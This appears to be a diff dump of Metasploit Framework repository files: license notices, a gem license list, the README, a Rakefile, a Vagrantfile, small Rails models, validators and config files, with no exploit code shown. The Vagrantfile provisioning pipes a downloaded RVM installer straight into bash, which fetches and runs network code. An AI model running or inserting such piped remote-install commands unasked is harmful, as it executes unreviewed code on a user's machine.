you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
.
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
.
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
||||
License: Zlib
|
||||
This software is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the authors be held liable for any damages
|
||||
arising from the use of this software.
|
||||
.
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
.
|
||||
1. The origin of this software must not be misrepresented; you must not
|
||||
claim that you wrote the original software. If you use this software
|
||||
in a product, an acknowledgment in the product documentation would be
|
||||
appreciated but is not required.
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
-191
@@ -1,191 +0,0 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 6.1.6, MIT
|
||||
actionview, 6.1.6, MIT
|
||||
activemodel, 6.1.6, MIT
|
||||
activerecord, 6.1.6, MIT
|
||||
activesupport, 6.1.6, MIT
|
||||
addressable, 2.8.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.602.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.320.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.69.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.0, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.10, ruby
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
digest, 3.1.0, "ruby, Simplified BSD"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.10.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 2.3.0, MIT
|
||||
faraday-net_http, 2.0.3, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
gssapi, 1.3.1, MIT
|
||||
gyoku, 1.4.0, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.10.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.3.6, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.2, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.18.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.8, "New BSD"
|
||||
metasploit-framework, 6.2.13, "New BSD"
|
||||
metasploit-model, 4.0.5, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
minitest, 5.16.1, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.5.3, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 1.1.1, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.1, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.6, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.1.2.0, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.4.1, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.7, MIT
|
||||
puma, 5.6.4, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 2.2.0, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
railties, 6.1.6, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.23, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.5.0, MIT
|
||||
reline, 0.2.5, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.33, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.96, "New BSD"
|
||||
rex-random_identifier, 0.1.8, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.40, "New BSD"
|
||||
rex-sslscan, 0.1.7, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.38, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.11.0, MIT
|
||||
rspec-core, 3.11.0, MIT
|
||||
rspec-expectations, 3.11.0, MIT
|
||||
rspec-mocks, 3.11.1, MIT
|
||||
rspec-rails, 5.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.31.1, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.7, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 2.2.0, MIT
|
||||
sqlite3, 1.4.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.5, MIT
|
||||
timeout, 0.3.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.4, MIT
|
||||
tzinfo-data, 1.2022.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.2.0, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.4, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.0, MIT
|
||||
@@ -0,0 +1,70 @@
|
||||
Copyright (C) 2006-2012, Rapid7 LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
|
||||
The Metasploit Framework is provided under the 3-clause BSD license above.
|
||||
|
||||
The copyright on this package is held by Rapid7 LLC.
|
||||
|
||||
|
||||
This license does not apply to the following components:
|
||||
- The Bit-Struct library located under lib/bit-struct
|
||||
- The OpenSSL library embedded into the Meterpreter payload binaries and the
|
||||
corresponding header files in the source tree
|
||||
- The Packet Sniffer SDK (MicroOLAP) library embedded into the Meterpreter
|
||||
Sniffer extension. HD Moore has a single-seat developer license.
|
||||
- The modified TightVNC binaries and their associated source code.
|
||||
- The Byakugan plugin located under external/source/byakugan
|
||||
- The Metasm library located under lib/metasm
|
||||
- The PcapRub library located under external/pcaprub
|
||||
- The Rabal library located under lib/rabal
|
||||
- The PacketFu library located under lib/packetfu
|
||||
- The Ruby-Lorcon library located under external/ruby-lorcon
|
||||
- The SNMP library located under lib/snmp
|
||||
- The Zip library located under lib/zip
|
||||
- The SSHKey library located under lib/sshkey
|
||||
|
||||
The latest version of this software is available from http://metasploit.com/
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://dev.metasploit.com/redmine/projects/framework/
|
||||
|
||||
The public GitHub source repository can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
Questions and suggestions can be sent to:
|
||||
msfdev[at]metasploit.com
|
||||
|
||||
The framework mailing list is the place to discuss features and ask for help.
|
||||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
[COPYING](COPYING) for more details.
|
||||
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
Bug tracking and development information can be found at:
|
||||
https://github.com/rapid7/metasploit-framework
|
||||
|
||||
New bugs and feature requests should be directed to:
|
||||
https://r-7.co/MSF-BUGv1
|
||||
|
||||
API documentation for writing modules can be found at:
|
||||
https://rapid7.github.io/metasploit-framework/api
|
||||
|
||||
Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list
|
||||
|
||||
Installing
|
||||
--
|
||||
|
||||
Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers),
|
||||
which contains all of the dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or the [wiki].
|
||||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
|
||||
walk you through the whole process from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request. For slightly more information, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
|
||||
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
|
||||
[unleashed]: https://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
|
||||
|
||||
|
||||
@@ -1,30 +0,0 @@
|
||||
#!/usr/bin/env rake
|
||||
require File.expand_path('../config/application', __FILE__)
|
||||
require 'msfenv'
|
||||
require 'metasploit/framework/require'
|
||||
require 'metasploit/framework/spec/untested_payloads'
|
||||
|
||||
# @note must be before `Metasploit::Framework::Application.load_tasks`
|
||||
#
|
||||
# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if
|
||||
# the user installs with `bundle install --without db`
|
||||
Metasploit::Framework::Require.optionally_active_record_railtie
|
||||
|
||||
begin
|
||||
require 'rspec/core'
|
||||
require 'rspec-rerun/tasks'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
puts "Bundle currently installed '--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` (the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and then `bundle install`"
|
||||
else
|
||||
require 'rspec/core/rake_task'
|
||||
RSpec::Core::RakeTask.new(spec: 'db:test:prepare')
|
||||
end
|
||||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
Metasploit::Framework::Spec::Constants.define_task
|
||||
Metasploit::Framework::Spec::Threads::Suite.define_task
|
||||
Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
Vendored
-57
@@ -1,57 +0,0 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
display_name = "metasploit-framework"
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "hashicorp/bionic64" # https://app.vagrantup.com/hashicorp/boxes/bionic64
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware_desktop" do |v|
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
v.vmx['displayname'] = display_name
|
||||
#v.gui = true # uncomment to show VM in your hypervisor's GUI
|
||||
end
|
||||
config.vm.provider "virtualbox" do |v|
|
||||
v.name = display_name
|
||||
v.memory = 2048
|
||||
v.cpus = 2
|
||||
#v.gui = true # uncomment to show VM in your hypervisor's GUI
|
||||
end
|
||||
%w(.vimrc .gitconfig).each do |f|
|
||||
local = File.expand_path "~/#{f}"
|
||||
if File.exist? local
|
||||
config.vm.provision "file", source: local, destination: f
|
||||
end
|
||||
end
|
||||
|
||||
[ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images
|
||||
"apt-get update",
|
||||
"apt-get dist-upgrade -y",
|
||||
"apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib",
|
||||
].each do |step|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ # use the rvm install method used in omnibus install
|
||||
# only show stderr when gpg really fails. avoids superfluous stderr from gpg
|
||||
'out=`curl -sSL https://rvm.io/mpapis.asc | gpg --import - 2>&1` && echo "imported mpapis.asc" || echo $out 1>&2',
|
||||
'out=`curl -sSL https://rvm.io/pkuczynski.asc | gpg --import - 2>&1` && echo "imported pkuczynski.asc" || echo $out 1>&2',
|
||||
'out=`curl -L -sSL https://get.rvm.io | bash -s stable 2>&1` && echo "rvm installed" || echo $out 1>&2',
|
||||
# only install Ruby if the right version isn't already present
|
||||
"echo 'Installing Ruby if necessary'",
|
||||
'cd /vagrant && rv=`cat .ruby-version` && source ~/.rvm/scripts/rvm && rvm list strings | grep -q $rv || rvm install $rv',
|
||||
'source ~/.rvm/scripts/rvm && cd /vagrant && gem install --quiet bundler && bundle',
|
||||
'mkdir -p ~/.msf4',
|
||||
].each do |step|
|
||||
config.vm.provision "shell", privileged: false, inline: step
|
||||
end
|
||||
config.vm.provision "file", source: "config/database.yml.vagrant", destination: "~/.msf4/database.yml"
|
||||
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql postgres -tAc \"SELECT 1 FROM pg_roles WHERE rolname='vagrant'\" | grep -q 1 || sudo -u postgres createuser -s -e -w vagrant && sudo -u postgres psql -c \"ALTER USER vagrant with ENCRYPTED PASSWORD 'vagrant';\""
|
||||
|
||||
["msf_dev_db", "msf_test_db"].each do |database|
|
||||
config.vm.provision "shell", inline: "sudo -u postgres psql -lqt | awk '{ print $1 }' | grep -w #{database} | wc -l | grep -q 1 || sudo -u postgres createdb --owner vagrant #{database}"
|
||||
end
|
||||
end
|
||||
@@ -1,82 +0,0 @@
|
||||
module Mdm::Workspace::BoundaryRange
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
included do
|
||||
#
|
||||
# Validations
|
||||
#
|
||||
|
||||
validate :boundary_must_be_ip_range
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
# If {#limit_to_network} is disabled, this will always return `true`.
|
||||
# Otherwise, return `true` only if all of the given IPs are within the
|
||||
# project {#boundary boundaries}.
|
||||
|
||||
#
|
||||
# @param ips [String] IP range(s)
|
||||
# @return [true] if actions on ips are allowed.
|
||||
# @return [false] if actions are not allowed on ips.
|
||||
def allow_actions_on?(ips)
|
||||
return true unless limit_to_network
|
||||
return true unless boundary
|
||||
return true if boundary.empty?
|
||||
boundaries = Shellwords.split(boundary)
|
||||
return true if boundaries.empty? # It's okay if there is no boundary range after all
|
||||
given_range = Rex::Socket::RangeWalker.new(ips)
|
||||
return false unless given_range # Can't do things to nonexistant IPs
|
||||
allowed = false
|
||||
boundaries.each do |boundary_range|
|
||||
ok_range = Rex::Socket::RangeWalker.new(boundary)
|
||||
allowed = true if ok_range.include_range? given_range
|
||||
end
|
||||
return allowed
|
||||
end
|
||||
|
||||
# Validates that {#boundary} is {#valid_ip_or_range? a valid IP address or
|
||||
# IP address range}. Due to this not being tested before it was moved here
|
||||
# from Mdm, the default workspace does not validate. We always validate boundaries
|
||||
# and a workspace may have a blank default boundary.
|
||||
#
|
||||
# @return [void]
|
||||
def boundary_must_be_ip_range
|
||||
unless boundary.blank?
|
||||
begin
|
||||
boundaries = Shellwords.split(boundary)
|
||||
rescue ArgumentError
|
||||
boundaries = []
|
||||
end
|
||||
|
||||
boundaries.each do |range|
|
||||
unless valid_ip_or_range?(range)
|
||||
errors.add(:boundary, "must be a valid IP range")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Returns an array of addresses ranges
|
||||
#
|
||||
# @return [Array<String>]
|
||||
def addresses
|
||||
(boundary || "").split("\n")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns whether `string` is a valid IP address or IP address range.
|
||||
#
|
||||
# @return [true] if valid IP address or IP address range.
|
||||
# @return [false] otherwise.
|
||||
def valid_ip_or_range?(string)
|
||||
range = Rex::Socket::RangeWalker.new(string)
|
||||
range && range.ranges && range.ranges.any?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
@@ -1,23 +0,0 @@
|
||||
# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under
|
||||
# {BruteForce::Reuse}.
|
||||
require 'metasploit/framework/credential'
|
||||
|
||||
module Metasploit::Credential::Core::ToCredential
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
included do
|
||||
|
||||
def to_credential
|
||||
Metasploit::Framework::Credential.new(
|
||||
public: public.try(:username) || '',
|
||||
private: private.try(:data) || '',
|
||||
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
|
||||
realm: realm.try(:value),
|
||||
realm_key: realm.try(:key),
|
||||
parent: self
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,5 +0,0 @@
|
||||
class ApplicationRecord < ActiveRecord::Base
|
||||
self.abstract_class = true
|
||||
include ArelHelpers::ArelTable
|
||||
include ArelHelpers::JoinAssociation
|
||||
end
|
||||
@@ -1,2 +0,0 @@
|
||||
require 'metasploit/framework/file_path_validator'
|
||||
require 'metasploit/framework/executable_path_validator'
|
||||
@@ -1,16 +0,0 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
# This is a ActiveModel custom validator that assumes the attribute
|
||||
# is supposed to be the path to a regular file. It checks whether the
|
||||
# file exists and whether or not it is an executable file.
|
||||
class ExecutablePathValidator < ActiveModel::EachValidator
|
||||
|
||||
def validate_each(record, attribute, value)
|
||||
unless ::File.executable? value
|
||||
record.errors.add(attribute, (options[:message] || "is not a valid path to an executable file"))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
# This is a ActiveModel custom validator that assumes the attribute
|
||||
# is supposed to be the path to a regular file. It checks whether the
|
||||
# file exists and whether or not it is a regular file.
|
||||
class FilePathValidator < ActiveModel::EachValidator
|
||||
|
||||
def validate_each(record, attribute, value)
|
||||
unless value && ::File.file?(value)
|
||||
record.errors.add(attribute, (options[:message] || "is not a valid path to a regular file"))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# Ruby front-end to the Armitage Java user interface
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
if RUBY_PLATFORM =~ /mswin|mingw/i
|
||||
exec "javaw", "-jar", "#{File.dirname(msfbase)}/data/armitage/armitage.jar", *ARGV
|
||||
else
|
||||
exec "java", "-jar", "#{File.dirname(msfbase)}/data/armitage/armitage.jar", *ARGV
|
||||
end
|
||||
@@ -1,55 +0,0 @@
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
all_environments = [
|
||||
:development,
|
||||
:production,
|
||||
:test
|
||||
]
|
||||
|
||||
Bundler.require(
|
||||
*Rails.groups(
|
||||
coverage: [:test],
|
||||
db: all_environments,
|
||||
pcap: all_environments
|
||||
)
|
||||
)
|
||||
|
||||
#
|
||||
# Railties
|
||||
#
|
||||
|
||||
# For compatibility with jquery-rails (and other engines that need action_view) in pro
|
||||
require 'action_controller/railtie'
|
||||
require 'action_view/railtie'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'metasploit/framework/common_engine'
|
||||
require 'metasploit/framework/database'
|
||||
module Metasploit
|
||||
module Framework
|
||||
class Application < Rails::Application
|
||||
include Metasploit::Framework::CommonEngine
|
||||
|
||||
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
config.autoloader = :zeitwerk
|
||||
|
||||
case Rails.env
|
||||
when "development"
|
||||
config.eager_load = false
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Silence warnings about this defaulting to true
|
||||
I18n.enforce_available_locales = true
|
||||
require 'msfenv'
|
||||
@@ -1,40 +0,0 @@
|
||||
require 'pathname'
|
||||
require 'rubygems'
|
||||
|
||||
GEMFILE_EXTENSIONS = [
|
||||
'.local',
|
||||
''
|
||||
]
|
||||
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
GEMFILE_EXTENSIONS.each do |extension|
|
||||
extension_pathname = root.join("Gemfile#{extension}")
|
||||
|
||||
if extension_pathname.readable?
|
||||
ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError => e
|
||||
$stderr.puts "[*] Bundler failed to load and returned this error:"
|
||||
$stderr.puts
|
||||
$stderr.puts " '#{e}'"
|
||||
$stderr.puts
|
||||
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
lib_path = root.join('lib').to_path
|
||||
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
@@ -1,11 +0,0 @@
|
||||
<%
|
||||
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
|
||||
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
|
||||
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
|
||||
ignored_tags = "--tags ~@boot --tags ~@targets"
|
||||
%>
|
||||
default: <%= std_opts %> <%= ignored_tags %> features
|
||||
boot: <%= std_opts %> --tags @boot features
|
||||
exploit: <%= std_opts %> --tags @targets features
|
||||
wip: --tags @wip:3 --wip features
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
@@ -1,32 +0,0 @@
|
||||
# To set up a metasploit database, follow the directions hosted at:
|
||||
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||
#
|
||||
# Kali Linux and the Omnibus installers both include an easy wrapper script for
|
||||
# managing your database, which may be more convenient than rolling your own.
|
||||
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
